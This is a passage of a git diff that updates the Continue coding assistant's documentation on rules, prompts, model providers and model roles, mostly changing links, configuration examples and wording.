`src/db/entity/SampleEntity.ts`, generate a new TypeORM entity based on the following requirements: +```md title="config.yaml" +... + +prompts: + - uses: supabase/create-functions + +... ``` + +If you are using Continue Hub, you can add it to your config by selecting "Use Rule" [here](https://hub.continue.dev/supabase/create-functions) + +To use this prompt, you can open Chat / Agent / Edit, type /, select the prompt, and type out any additional instructions you'd like to add. + +## Using a prompt with `cn (TUI mode)` + +You can run this command to start [cn](../../guides/cli) with the [Create Supabase functions](http://hub.continue.dev/supabase/create-functions) prompt. + +``` +cn --prompt supabase/create-functions "I need a function that checks for the health status" +``` +Alternatively, you can start [cn](../../guides/cli) and then type / to manually invoke the prompt yourself. + +## Using a prompt to kick off a Continuous AI workflow with `cn (Headless mode) + +You can kick off Continuous AI workflows using a prompt with [cn](../../guides/cli) by adding the `-p` flag. + +For example, say you are building a SaaS application and must repeatedly create custom Supabase validation functions for each new feature that accepts user input. + +These functions require you to interpret business requirements, implement complex cross-table logic (like checking user permissions, tier limits, and time-based restrictions), and make judgment calls about edge cases. + +Each function is unique enough that it can't be templated or scripted. This is where kicking off a Continuous AI workflow to get you started can be quite helpful. + +Here is a command that you could run whenever you have a new feature: + +``` + cn -p --prompt supabase/create-functions "I need a function for the new feature on my current branch similar to my existing database functions" +``` + +You can see the entire `Create Supabase functions` prompt [here](http://hub.continue.dev/supabase/create-functions) + +When you run this workflow, [cn](../../guides/cli) will checkout your current branch, explore the new and existing code, and then draft a function for you. + +You will then be able to review the implementation and improve it before you merge the new feature. \ No newline at end of file diff --git a/docs/customize/deep-dives/rules.mdx b/docs/customize/deep-dives/rules.mdx index f2dd04166..d897edab4 100644 --- a/docs/customize/deep-dives/rules.mdx +++ b/docs/customize/deep-dives/rules.mdx @@ -1,11 +1,11 @@ --- title: "How to Create and Manage Rules in Continue" -description: "Rules are used to provide instructions to the model for Agent, Chat, and Edit requests." -keywords: [rules, .continuerules, system, prompt, message] +description: "Rules are used to provide system message instructions to the model for Agent mode, Chat mode, and Edit mode requests" +keywords: [rules, system, prompt, message] sidebarTitle: "Rules" --- -Rules provide instructions to the model for [Agent](../../features/agent/quick-start), [Chat](../../features/chat/quick-start), and [Edit](../../features/edit/quick-start) requests. +Rules provide instructions to the model for [Agent mode](../../ide-extensions/agent/quick-start), [Chat](../../ide-extensions/chat/quick-start), and [Edit](../../ide-extensions/edit/quick-start) requests. Rules are not included in [autocomplete](./autocomplete) or @@ -20,6 +20,42 @@ You can view the current rules by clicking the pen icon above the main toolbar: To form the system message, rules are joined with new lines, in the order they appear in the toolbar. This includes the base chat system message ([see below](#how-to-customize-chat-system-message)). +## Understanding Hub vs Local Rules Integration + + +**Important:** Rules created in different locations behave differently and have different synchronization patterns. + + +Continue supports two types of rules with different behaviors: + + + +- **Location**: `.continue/rules` folder in your workspace +- **Visibility**: Automatically visible when using Hub assistants +- **Creation**: Add rules button in VSCode or manual file creation +- **File Management**: Creates actual `.md` files you can edit directly + + + +- **Location**: Stored on Continue Hub, referenced in config.yaml +- **Visibility**: Only appear when referenced in assistant configuration +- **Creation**: Created directly on Hub or copied from local rules +- **File Management**: No local files created, managed through Hub interface + + + +### How Rules Are Applied + +When using Continue, rules are loaded in this order: +1. **Hub assistant rules** (if using a Hub-based assistant) +2. **Referenced Hub rules** (via `uses:` in config.yaml) +3. **Local workspace rules** (from `.continue/rules` folder) +4. **Global rules** (from `~/.continue/rules` folder) + + +**TL;DR**: Local rules show up automatically when using Hub assistants. Hub rules show up automatically when referenced in your config. + + ## Quick Start: How to Create Your First Rule File Below is a quick example of setting up a new rule file: @@ -40,22 +76,56 @@ Now test your rules by asking a question about a file in chat. ![pirate rule test](/images/pirate-rule-test.png) -## How to Create Rules Blocks +## How to Create Rules -Rules can be added locally using the "Add Rules" button while viewing the Local Agent's rules. +### Creating Local Rules + +Rules can be added locally using the "Add Rules" button. ![add local rules button](/images/add-local-rules.png) -**Automatically create local rule blocks**: When in Agent mode, you can prompt the agent to create a rule for you using the `create_rule_block` tool if enabled. +**Automatically create local rules**: When in Agent mode, you can prompt the agent to create a rule for you using the `create_rule_block` tool if enabled. For example, you can say "Create a rule for this", and a rule will be created for you in `.continue/rules` based on your conversation. - -Rules can also be added to an Agent on the Continue Hub. +### Creating Hub Rules -Explore available rules [here](https://hub.continue.dev), or [create your own](https://hub.continue.dev/new?type=block&blockType=rules) in the Hub. +Rules can also be created and managed on the Continue Hub: + +1. **Browse existing rules**: [Explore available rules](https://hub.continue.dev/explore?type=rules) +2. **Create new rules**: [Create your own](https://hub.continue.dev/new?type=block&blockType=rules) in the Hub +3. **Copy from local rules**: Copy/paste content from your `.continue/rules` files to create Hub rules + +### Working Between Hub and Local Rules + + + +To use Hub rules in your local setup: + +1. Reference them in your `config.yaml`: + ```yaml + rules: + - uses: username/my-hub-rule + ``` +2. The rule will automatically appear in your rules toolbar +3. **Note**: No local file is created - the rule exists only on the Hub + + + +To move local rules to the Hub: + +1. Copy the content from your `.continue/rules/rule-name.md` file +2. Go to [Create new rule](https://hub.continue.dev/new?type=block&blockType=rules) +3. Paste the content and configure the rule +4. Optionally, remove the local file and reference the Hub rule in your config + + +**Current Limitation**: There's no automatic sync from local to Hub. You must manually copy/paste rule content. + + + ### How to Configure Rule Properties and Syntax @@ -65,7 +135,7 @@ Explore available rules [here](https://hub.continue.dev), or [create your own](h recommend Markdown. -Rules blocks can be simple text, written in YAML configuration files, or as Markdown (`.md`) files. They can have the following properties: +Rules can be simple text, written in YAML configuration files, or as Markdown (`.md`) files. They can have the following properties: - `name` (**required** for YAML): A display name/title for the rule - `globs` (optional): When files are provided as context that match this glob pattern, the rule will be included. This can be either a single pattern (e.g., `"**/*.{ts,tsx}"`) or an array of patterns (e.g., `["src/**/*.ts", "tests/**/*.ts"]`). @@ -150,19 +220,46 @@ globs: ["**/*.ts", "**/*.tsx"] - modularize components into smaller, reusable pieces ``` +## Troubleshooting Rules + +### Issue: Rules Created in Different Places Don't Sync + +**Problem**: You created rules in the Hub but don't see them in VSCode, or vice versa. + +**Solution**: +- **Hub rules** only appear when referenced in your config.yaml using the `uses:` syntax +- **Local rules** automatically appear when using Hub assistants +- There's currently no automatic bidirectional sync + +### Issue: "Edit" Links Point to Wrong Location + +**Problem**: When you click "Edit" on a rule in VSCode, it tries to open the Hub even though the rule is local, or shows an incorrect URL. + +**Root Cause**: This happens when you have a mix of local and Hub rules, and Continue can't properly determine where each rule originates. + +**Workaround**: +1. **For local rules**: Navigate directly to `.continue/rules/` folder and edit the `.md` file +2. **For Hub rules**: Go directly to your assistant page on [Continue Hub](https://hub.continue.dev) and edit from there +3. Keep track of which rules are local vs Hub-based to avoid confusion + + +**Known Issue**: This link accuracy problem is tracked in [Linear issue CON-3084](https://linear.app/continue/issue/CON-3084) and will be fixed in a future update. + + +### Issue: Rules Don't Appear in Assistant + +**Problem**: Your rules exist but don't show up in the rules toolbar. + +**Check These**: +1. **File location**: Ensure local rules are in `.continue/rules/` (not `.continue/rule/`) +2. **File format**: Rules should be `.md` files with proper YAML frontmatter +3. **Config reference**: Hub rules must be referenced in `config.yaml` +4. **Assistant type**: Ensure you're using the correct assistant (local vs Hub) + ### How to Customize Chat System Message -Continue includes a simple default system message for [Agent](../../features/agent/quick-start) and [Chat](../../features/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output. +Continue includes a simple default system message for [Agent mode](../../ide-extensions/agent/quick-start) and [Chat](../../ide-extensions/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output. This can be viewed in the rules section of the toolbar (see above), or in the source code [here](https://github.com/continuedev/continue/blob/main/core/llm/constructMessages.ts#L4). Advanced users can override this system message for a specific model if needed by using `chatOptions.baseSystemMessage`. See the [`config.yaml` reference](/reference#models). - -### Legacy: .continuerules File (Deprecated) - - - `.continuerules` will be deprecated in a future release. Please use the - `.continue/rules` folder instead. - - -You can create project-specific rules by adding a `.continuerules` file to the root of your project. This file is raw text and its full contents will be used as rules. diff --git a/docs/customize/deep-dives/rules.mdx.backup b/docs/customize/deep-dives/rules.mdx.backup index 5338df40d..e7e13b010 100644 --- a/docs/customize/deep-dives/rules.mdx.backup +++ b/docs/customize/deep-dives/rules.mdx.backup @@ -1,10 +1,10 @@ --- title: "Rules" -description: Rules are used to provide instructions to the model for Agent, Chat, and Edit requests. +description: Rules are used to provide instructions to the model for Agent mode, Chat mode, and Edit requests. keywords: [rules, .continuerules, system, prompt, message] --- -Rules provide instructions to the model for [Agent](../../features/agent/quick-start), [Chat](../../features/chat/quick-start), and [Edit](../../features/edit/quick-start) requests. +Rules provide instructions to the model for [Agent mode](../../features/agent/quick-start), [Chat](../../features/chat/quick-start), and [Edit](../../features/edit/quick-start) requests. Rules are not included in [autocomplete](./autocomplete.mdx) or [apply](../model-roles/apply.mdx). @@ -39,7 +39,7 @@ Now test your rules by asking a question about a file in chat. ## Creating `rules` blocks -Rules can be added locally using the "Add Rules" button while viewing the Local Agent's rules. +Rules can be added locally using the "Add Rules" button. ![add local rules button](/images/add-local-rules.png) @@ -49,7 +49,7 @@ Automatically create local rule blocks: When in Agent mode, you can prompt the a For example, you can say "Create a rule for this", and a rule will be created for you in `.continue/rules` based on your conversation. -Rules can also be added to an Agent on the Continue Hub. +Rules can also be added to a configuration on the Continue Hub. Explore available rules [here](https://hub.continue.dev), or [create your own](https://hub.continue.dev/new?type=block&blockType=rules) in the Hub. @@ -166,7 +166,7 @@ Whenever you are writing React code, make sure to ### Chat System Message -Continue includes a simple default system message for [Agent](../../features/agent/quick-start) and [Chat](../../features/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output. +Continue includes a simple default system message for [Agent mode](../../features/agent/quick-start) and [Chat](../../features/chat/quick-start) requests, to help the model provide reliable codeblock formats in its output. This can be viewed in the rules section of the toolbar (see above), or in the source code [here](https://github.com/continuedev/continue/blob/main/core/llm/constructMessages.ts#L4). diff --git a/docs/customize/deep-dives/slash-commands.mdx b/docs/customize/deep-dives/slash-commands.mdx deleted file mode 100644 index ef11b0f8d..000000000 --- a/docs/customize/deep-dives/slash-commands.mdx +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: "Using Slash Commands in Continue" -description: "Learn how to use and create Slash Commands in Continue to run custom prompts, access context providers, and speed up coding tasks." -keywords: [slash command, custom commands, step] -sidebarTitle: "Slash Commands" ---- - -![actions](/images/actions.gif) - -Slash commands are shortcuts that can be activated by typing '/' in a chat session (press cmd/ctrl + L (VS Code) or cmd/ctrl + J (JetBrains)), and selecting from the dropdown. -![slash-commands](/images/slash-commands.png) - -Slash commands can be combined with additional instructions, including highlighted code. - - - **Recommended approach**: Use prompt files to create slash commands instead of - the deprecated `config.json` approach. The methods described below provide - better flexibility and are the actively maintained ways to add custom - commands. - - -## Ways to Create Slash Commands in Continue - -### Agent Prompt Blocks - -The easiest way to add a slash command is by adding [`prompt` blocks](../../hub/blocks/block-types#prompts) to your agent, which show up as slash commands in [Chat](../../features/chat/how-it-works). - -### Prompt Files - -It is also possible to write your own slash command by defining a “.prompt file.” Prompt files can be as simple as a text file, but also include templating so that you can refer to files, URLs, highlighted code, and more. - -Learn more about prompt files [here](./prompts). - -### MCP Server Prompts - -Any prompts provided by [Model Context Protocol](https://modelcontextprotocol.io/introduction) servers are also accessible in chat as Slash Commands. See the [MCP Server Deep Dive](./mcp) for more details. diff --git a/docs/customize/model-providers/more/SambaNova.mdx b/docs/customize/model-providers/more/SambaNova.mdx index acd83a682..4b46333d1 100644 --- a/docs/customize/model-providers/more/SambaNova.mdx +++ b/docs/customize/model-providers/more/SambaNova.mdx @@ -1,6 +1,6 @@ --- title: "SambaNova" -description: "Configure SambaNova Cloud with Continue to access their high-performance platform for running large AI models, including Llama 4 Scout with world record open source model performance" +description: "Configure SambaCloud with Continue to access their high-performance platform for running large AI models, including Llama 4 Scout with world record open source model performance" --- The SambaNova Cloud is a cloud platform for running large AI models with the world record open source models performance. You can follow the instructions in [this blog post](https://sambanova.ai/blog/accelerating-coding-with-sambanova-cloud?ref=blog.continue.dev) to configure your setup. @@ -9,9 +9,9 @@ The SambaNova Cloud is a cloud platform for running large AI models with the wor ```yaml title="config.yaml" models: - - name: SambaNova Llama 4 Scout + - name: GPT OSS 120B provider: sambanova - model: Llama-4-Scout-17B-16E-Instruct + model: gpt-oss-120b apiKey: ``` @@ -20,9 +20,9 @@ The SambaNova Cloud is a cloud platform for running large AI models with the wor { "models": [ { - "title": "SambaNova Llama 4 Scout", + "title": "GPT OSS 120B", "provider": "sambanova", - "model": "Llama-4-Scout-17B-16E-Instruct", + "model": "gpt-oss-120b", "apiKey": "" } ] diff --git a/docs/customize/model-providers/more/asksage.mdx b/docs/customize/model-providers/more/asksage.mdx index 03ad0e3ca..8b84d8c34 100644 --- a/docs/customize/model-providers/more/asksage.mdx +++ b/docs/customize/model-providers/more/asksage.mdx @@ -1,18 +1,34 @@ --- -title: "AskSage" -description: "Configure AskSage with Continue to access a wide range of models including government-compliant versions of GPT and Claude models, supporting chat and edit functionalities" +title: "Ask Sage" +slug: ../asksage --- + + **Discover Ask Sage models [here](https://hub.continue.dev/explore?q=Ask%20Sage)** + + - To get an Ask Sage API key login to the Ask Sage platform (If you don't have - an account, you can create one [here](https://chat.asksage.ai/)) and follow - the instructions in the Ask Sage Docs: [Ask Sage API - Key](https://docs.asksage.ai/docs/api-documentation/api-documentation.html) + You can get an API key from the [Ask Sage](https://www.asksage.ai/). -## Configuration -To use the Ask Sage models, you can use the following +## Overview + +Ask Sage provides secure, government-compliant access to LLMs. This guide explains how to set up and configure Ask Sage models, including support for DoD certificates. + +## 1. Prerequisites + +- **Ask Sage Account:** + Sign up or log in at [Ask Sage Platform](https://chat.asksage.ai/). + +- **API Key:** + Follow the [API Key Documentation](https://docs.asksage.ai/docs/api-documentation/api-documentation.html) to generate your key. + + +## 2. Configuration + +Add your Ask Sage model to your Continue configuration file. + @@ -42,53 +58,65 @@ To use the Ask Sage models, you can use the following -The `apiBase` will be listed on the Ask Sage platform when you generate an `API key`. You will see context as shown below: +## 3. Using DoD Certificates -> Server API for query/training etc.: -> -> - Documentation: https://app.swaggerhub.com/apis-docs/NICOLASCHAILLAN_1/server_ask-sage_api/1.0 -> - URL for this API is: https://api.asksage.ai/server/ +For secure environments, specify your DoD CA bundle path: -## Usage -Currently, the setup for the models provided by Ask Sage is to support the following two functionalities provided by Continue.Dev: + + + ```yaml title="config.yaml" + models: + - name: GPT-4 gov + provider: askSage + model: gpt4-gov + apiBase: https://api.asksage.ai/server/ + apiKey: + requestOptions: + caBundlePath: /path/to/dod/certificates + ``` + + + ```json title="config.json" + { + "models": [ + { + "title": "GPT-4 gov", + "provider": "askSage", + "model": "gpt4-gov", + "apiBase": "https://api.asksage.ai/server/", + "apiKey": "", + "requestOptions": { + "caBundlePath": "/path/to/dod/certificates" + } + } + ] + } + ``` + + -- `Chat` to understand and iterate on code in the sidebar -- `Edit` to modify code without leaving your current file +Replace `/path/to/dod/certificates` with your actual CA bundle file path. -More models, functionalities and documentation will be added in the future for Ask Sage Integration. +--- -> We recommend to utilize the `OpenAI` or `Anthropic` models for the best performance and results for the `Chat` and `Edit` functionalities. +## 4. Final Steps -## Ask Sage Documentation +- Save your configuration file. +- Restart Continue to apply changes. -Ask Sage documentation is not available with Continue.Dev, so if you have any questions or need help with Ask Sage type `@ask` and select the `Ask Sage` option in the chat. Then procced to ask your question about Ask Sage. +Your Ask Sage model will now be available in Continue. -## Current Models From Ask Sage Supported +## 5. Usage -The current Models available provided by Ask Sage are: +Supported features: -| Index | Model | Added | -| ----- | --------------------- | ----- | -| 1 | GPT-4 Gov | ✅ | -| 2 | GPT-4o Gov | ✅ | -| 3 | GPT-4o-mini Gov | ✅ | -| 4 | GPT-3.5-Turbo Gov | ✅ | -| 5 | GPT-4o | ✅ | -| 6 | GPT-4o-mini | ✅ | -| 7 | GPT-4 | ✅ | -| 8 | GPT-4-32K | ✅ | -| 9 | GPT-o1 | ✅ | -| 10 | GPT-o1-mini | ✅ | -| 10 | GPT-o3-mini | ✅ | -| 11 | GPT-3.5-turbo | ✅ | -| 12 | Claude 3.5 Sonnet Gov | ✅ | -| 13 | Claude 3 Opus | ✅ | -| 14 | Claude 3 Sonet | ✅ | -| 15 | Claude 3.5 Sonnet | ✅ | -| 16 | Grok (xAI) | ✅ | -| 17 | Groq Llama 3.3 | ✅ | -| 18 | Groq 70B | ✅ | -| 19 | Gemini Pro | ✅ | -| 20 | llama 3 | ✅ | -| 21 | Mistral Large | ✅ | +- **Chat:** Interact and iterate on code in the sidebar. +- **Edit:** Modify code in place. + +## 6. Support + +- Refer to [Ask Sage Docs](https://docs.asksage.ai/docs/api-documentation/api-documentation.html) for more details. +- Email the Ask Sage support team for assistance at support@asksage.ai. + +--- diff --git a/docs/customize/model-providers/more/deepseek.mdx b/docs/customize/model-providers/more/deepseek.mdx index 773b6e8ad..b2e7d4602 100644 --- a/docs/customize/model-providers/more/deepseek.mdx +++ b/docs/customize/model-providers/more/deepseek.mdx @@ -4,7 +4,7 @@ slug: ../deepseek --- - **Discover DeepSeek models [here](https://hub.continue.dev/?q=DeepSeek)** + **Discover DeepSeek models [here](https://hub.continue.dev/explore?q=DeepSeek)** @@ -37,4 +37,4 @@ slug: ../deepseek } ``` - \ No newline at end of file + diff --git a/docs/customize/model-providers/more/xAI.mdx b/docs/customize/model-providers/more/xAI.mdx index 803befe49..c90b2196e 100644 --- a/docs/customize/model-providers/more/xAI.mdx +++ b/docs/customize/model-providers/more/xAI.mdx @@ -3,13 +3,9 @@ title: xAI slug: ../xai --- - - **Discover xAI models [here](https://hub.continue.dev/xai)** - +**Discover xAI models [here](https://hub.continue.dev/xai)** - - Get an API key from the [xAI Console](https://console.x.ai/) - +Get an API key from the [xAI Console](https://console.x.ai/) ## Configuration @@ -29,7 +25,7 @@ slug: ../xai "models": [ { "title": "", - "provider": "anthropic", + "provider": "xai", "model": "", "apiKey": "" } @@ -40,5 +36,6 @@ slug: ../xai - **Check out a more advanced configuration [here](https://hub.continue.dev/xai/grok-4?view=config)** - \ No newline at end of file + **Check out a more advanced configuration + [here](https://hub.continue.dev/xai/grok-code-fast-1?view=config)** + diff --git a/docs/customize/model-providers/top-level/gemini.mdx b/docs/customize/model-providers/top-level/gemini.mdx index 32c384c67..b8c5ec445 100644 --- a/docs/customize/model-providers/top-level/gemini.mdx +++ b/docs/customize/model-providers/top-level/gemini.mdx @@ -5,7 +5,7 @@ sidebarTitle: "Gemini" --- - **Discover Google models [here](https://hub.continue.dev/?q=Gemini)** + **Discover Google models [here](https://hub.continue.dev/explore?q=Gemini)** @@ -42,4 +42,4 @@ sidebarTitle: "Gemini" **Check out a more advanced configuration [here](https://hub.continue.dev/google/gemini-2.5-pro?view=config)** - \ No newline at end of file + diff --git a/docs/customize/model-providers/top-level/openai.mdx b/docs/customize/model-providers/top-level/openai.mdx index 9537ac133..3249e27c9 100644 --- a/docs/customize/model-providers/top-level/openai.mdx +++ b/docs/customize/model-providers/top-level/openai.mdx @@ -90,7 +90,7 @@ If you are using an OpenAI API compatible providers, you can change the `apiBase ### How to Force Legacy Completions Endpoint Usage -To force usage of `chat/completions` instead of `completions` endpoint you can set: +To force usage of `completions` instead of `chat/completions` endpoint you can set: diff --git a/docs/customize/model-providers/top-level/openrouter.mdx b/docs/customize/model-providers/top-level/openrouter.mdx index 8f9727d89..de4aee896 100644 --- a/docs/customize/model-providers/top-level/openrouter.mdx +++ b/docs/customize/model-providers/top-level/openrouter.mdx @@ -4,7 +4,7 @@ sidebarTitle: "OpenRouter" --- - **Discover Inception models [here](https://hub.continue.dev/inceptionlabs)** + **Discover OpenRouter models [here](https://hub.continue.dev/openrouter)** diff --git a/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx b/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx index a074eef7d..6d307d377 100644 --- a/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx +++ b/docs/customize/model-providers/top-level/tetrate_agent_router_service.mdx @@ -168,9 +168,6 @@ context: - uses: continuedev/terminal-context - uses: continuedev/file-context ``` - -To customize, see the [model block creation guide](/hub/blocks/create-a-block). - diff --git a/docs/customize/model-roles/00-intro.mdx b/docs/customize/model-roles/00-intro.mdx index 941ea0f4d..8dcf85c04 100644 --- a/docs/customize/model-roles/00-intro.mdx +++ b/docs/customize/model-roles/00-intro.mdx @@ -23,7 +23,7 @@ These roles can be specified for a `config.yaml` model block using `roles`. See ## Selecting model roles -You can control which of the models in your agent for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role. +You can control which of the models in your config for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role. ![Settings Active Models Section](/images/settings-model-roles.png) diff --git a/docs/customize/model-roles/autocomplete.mdx b/docs/customize/model-roles/autocomplete.mdx index b258463c0..b0a792b5c 100644 --- a/docs/customize/model-roles/autocomplete.mdx +++ b/docs/customize/model-roles/autocomplete.mdx @@ -11,7 +11,7 @@ import { ModelRecommendations } from '/snippets/ModelRecommendations.jsx' An "autocomplete model" is an LLM that is trained on a special format called fill-in-the-middle (FIM). This format is designed to be given the prefix and suffix of a code file and predict what goes between. This task is very specific, which on one hand means that the models can be smaller (even a 3B parameter model can perform well). On the other hand, this means that Chat models, though larger, will often perform poorly even with extensive prompting. -In Continue, autocomplete models are used to display inline [Autocomplete](../../features/autocomplete/quick-start) suggestions as you type. Autocomplete models are designated by adding the `autocomplete` to the model's `roles` in `config.yaml`. +In Continue, autocomplete models are used to display inline [Autocomplete](../../ide-extensions/autocomplete/quick-start) suggestions as you type. Autocomplete models are designated by adding the `autocomplete` to the model's `roles` in `config.yaml`. ## Recommended Autocomplete models diff --git a/docs/customize/model-roles/chat.mdx b/docs/customize/model-roles/chat.mdx index afafb8591..ee175829f 100644 --- a/docs/customize/model-roles/chat.mdx +++ b/docs/customize/model-roles/chat.mdx @@ -10,7 +10,7 @@ import { ModelRecommendations } from '/snippets/ModelRecommendations.jsx' A "chat model" is an LLM that is trained to respond in a conversational format. Because they should be able to answer general questions and generate complex code, the best chat models are typically large, often 405B+ parameters. -In Continue, these models are used for normal [Chat](../../features/chat/quick-start). The selected chat model will also be used for [Edit](../../features/edit/quick-start) and [Apply](./apply.mdx) if no `edit` or `apply` models are specified, respectively. +In Continue, these models are used for normal [Chat](../../ide-extensions/chat/quick-start). The selected chat model will also be used for [Edit](../../ide-extensions/edit/quick-start) and [Apply](./apply.mdx) if no `edit` or `apply` models are specified, respectively. ## Recommended Chat models @@ -36,20 +36,6 @@ Our current top recommendations are Claude Opus 4.1 and Claude Sonnet 4 from [An apiKey: ``` - - ```json title="config.json" - { - "models": [ - { - "title": "Claude Opus 4.1", - "provider": "anthropic", - "model": "claude-4-1-opus", - "apiKey": "" - } - ] - } - ``` - ### Gemma from Google DeepMind @@ -88,37 +74,6 @@ If you prefer to use an open-weight model, then the Gemma family of Models from - - - - ```json title="config.json" - { - "models": [ - { - "title": "Gemma 3 27B", - "provider": "ollama", - "model": "gemma3:27b" - } - ] - } - ``` - - - ```json title="config.json" - { - "models": [ - { - "title": "Gemma 3 27B", - "provider": "together", - "model": "google/gemma-2-27b-it", - "apiKey": "" - } - ] - } - ``` - - - ### GPT-4o from OpenAI @@ -138,20 +93,6 @@ If you prefer to use a model from [OpenAI](../model-providers/top-level/openai), apiKey: ``` - - ```json title="config.json" - { - "models": [ - { - "title": "GPT-4o", - "provider": "openai", - "model": "", - "apiKey": "" - } - ] - } - ``` - ### Grok-2 from xAI @@ -171,20 +112,6 @@ If you prefer to use a model from [xAI](../model-providers/more/xAI), then we re apiKey: ``` - - ```json title="config.json" - { - "models": [ - { - "title": "Grok-2", - "provider": "xAI", - "model": "grok-2-latest", - "apiKey": "" - } - ] - } - ``` - ### Gemini 2.0 Flash from Google @@ -204,20 +131,6 @@ If you prefer to use a model from [Google](../model-providers/top-level/gemini), apiKey: ``` - - ```json title="config.json" - { - "models": [ - { - "title": "Gemini 2.0 Flash", - "provider": "gemini", - "model": "gemini-2.0-flash", - "apiKey": "" - } - ] - } - ``` - ## Local, offline experience @@ -268,49 +181,6 @@ If your local machine can run an 8B parameter model, then we recommend running L - - - - ```json title="config.json" - { - "models": [ - { - "title": "Llama 3.1 8B", - "provider": "ollama", - "model": "llama3.1:8b" - } - ] - } - ``` - - - ```json title="config.json" - { - "models": [ - { - "title": "Llama 3.1 8B", - "provider": "lmstudio", - "model": "llama3.1-8b" - } - ] - } - ``` - - - ```json title="config.json" - { - "models": [ - { - "title": "Llama 3.1 8B", - "provider": "msty", - "model": "llama3.1-8b" - } - ] - } - ``` - - - ### DeepSeek Coder 2 16B @@ -357,50 +227,6 @@ If your local machine can run a 16B parameter model, then we recommend running D - - - - ```json title="config.json" - { - "models": [ - { - "title": "DeepSeek Coder 2 16B", - "provider": "ollama", - "model": "deepseek-coder-v2:16b", - "apiBase": "http://localhost:11434" - } - ] - } - ``` - - - ```json title="config.json" - { - "models": [ - { - "title": "DeepSeek Coder 2 16B", - "provider": "lmstudio", - "model": "deepseek-coder-v2:16b" - } - ] - } - ``` - - - ```json title="config.json" - { - "models": [ - { - "title": "DeepSeek Coder 2 16B", - "provider": "msty", - "model": "deepseek-coder-v2:16b" - } - ] - } - ``` - - - ## Other experiences diff --git a/docs/customize/model-roles/edit.mdx b/docs/customize/model-roles/edit.mdx index e60d47017..3fe2b9143 100644 --- a/docs/customize/model-roles/edit.mdx +++ b/docs/customize/model-roles/edit.mdx @@ -6,42 +6,19 @@ sidebar_position: 3 --- import { ModelRecommendations } from '/snippets/ModelRecommendations.jsx' -It's often useful to select a different model to respond to Edit prompts than for chat prompts, as Edits are often more code-specific and may require less conversational readability. +It's often useful to select a different model to respond to Edit instructions than for Chat instructions, as Edits are often more code-specific and may require less conversational readability. In Continue, you can add `edit` to a model's roles to specify that it can be used for Edit requests. If no edit models are specified, the selected `chat` model is used. - - - Use model roles. - ```yaml title="config.yaml" - models: - - name: Claude 3.5 Sonnet - provider: anthropic - model: claude-3-5-sonnet-latest - apiKey: - roles: - - edit - ``` - - - Set the `experimental.modelRoles.inlineEdit` property in `config.json`. - ```json title="config.json" - { - "models": { - "name": "Claude 3.5 Sonnet", - "provider": "anthropic", - "model": "claude-3-5-sonnet-latest", - "apiKey": "" - }, - "experimental": { - "modelRoles": { - "inlineEdit": "Claude 3.5 Sonnet", - } - } - } - ``` - - +```yaml title="config.yaml" +models: + - name: Claude 4 Sonnet + provider: anthropic + model: claude-3-5-sonnet-latest + apiKey: + roles: + - edit +``` Explore edit models in [the hub](https://hub.continue.dev/explore/models?roles=edit). Generally, our recommendations for Edit overlap with recommendations for Chat. diff --git a/docs/customize/model-roles/embeddings.mdx b/docs/customize/model-roles/embeddings.mdx index a81bb2322..ea1019c5d 100644 --- a/docs/customize/model-roles/embeddings.mdx +++ b/docs/customize/model-roles/embeddings.mdx @@ -7,7 +7,7 @@ sidebar_position: 5 An "embeddings model" is trained to convert a piece of text into a vector, which can later be rapidly compared to other vectors to determine similarity between the pieces of text. Embeddings models are typically much smaller than LLMs, and will be extremely fast and cheap in comparison. -In Continue, embeddings are generated during indexing and then used by [@Codebase](../context/codebase) to perform similarity search over your codebase. +In Continue, embeddings are generated during indexing and then used by [codebase awareness](/guides/codebase-documentation-awareness) to perform similarity search over your codebase. You can add `embed` to a model's `roles` to specify that it can be used to embed. diff --git a/docs/customize/model-roles/intro.mdx b/docs/customize/model-roles/intro.mdx index ccdd3a3b0..6e9b2f875 100644 --- a/docs/customize/model-roles/intro.mdx +++ b/docs/customize/model-roles/intro.mdx @@ -7,7 +7,7 @@ icon: "book-open" - [`chat`](/customize/model-roles/chat): Used for chat conversations in the extension sidebar - [`autocomplete`](/customize/model-roles/autocomplete): Used for autocomplete code suggestions in the editor -- [`edit`](/customize/model-roles/edit): Used to generate code based on edit prompts +- [`edit`](/customize/model-roles/edit): Used to generate code based on edit instructions - [`apply`](/customize/model-roles/apply): Used to decide how to apply edits to a file - [`embed`](/customize/model-roles/embeddings): Used to generate embeddings used for vector search (@Codebase and @Docs context providers) - [`rerank`](/customize/model-roles/reranking): Used to rerank results from vector search @@ -16,7 +16,7 @@ These roles can be specified for a `config.yaml` model block using `roles`. See ## Selecting model roles -You can control which of the models in your agent for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role. +You can control which of the models in your config for a given role will be currently used for that role. Above the main input, click the 3 dots and then the cube icon to expand the `Models` section. Then you can use the dropdowns to select an active model for each role. diff --git a/docs/customize/model-roles/reranking.mdx b/docs/customize/model-roles/reranking.mdx index ed5974b4b..93829f46c 100644 --- a/docs/customize/model-roles/reranking.mdx +++ b/docs/customize/model-roles/reranking.mdx @@ -7,7 +7,7 @@ sidebar_position: 6 A "reranking model" is trained to take two pieces of text (often a user question and a document) and return a relevancy score between 0 and 1, estimating how useful the document will be in answering the question. Rerankers are typically much smaller than LLMs, and will be extremely fast and cheap in comparison. -In Continue, rerankers are designated using the `rerank` role and used by [@Codebase](../context/codebase) in order to select the most relevant code snippets after vector search. +In Continue, rerankers are designated using the `rerank` role and used by [codebase awareness](/guides/codebase-documentation-awareness) in order to select the most relevant code snippets after vector search. ## Recommended reranking models @@ -23,7 +23,10 @@ Voyage AI offers the best reranking model for code with their `rerank-2` model. - [Voyage Rerank 2 Block](https://hub.continue.dev/voyageai/rerank-2) + ```yaml title="config.yaml" + models: + - uses: voyageai/rerank-2 + ``` ```yaml title="config.yaml" @@ -36,19 +39,6 @@ Voyage AI offers the best reranking model for code with their `rerank-2` model. - rerank ``` - - ```json title="config.json" - { - "reranker": { - "name": 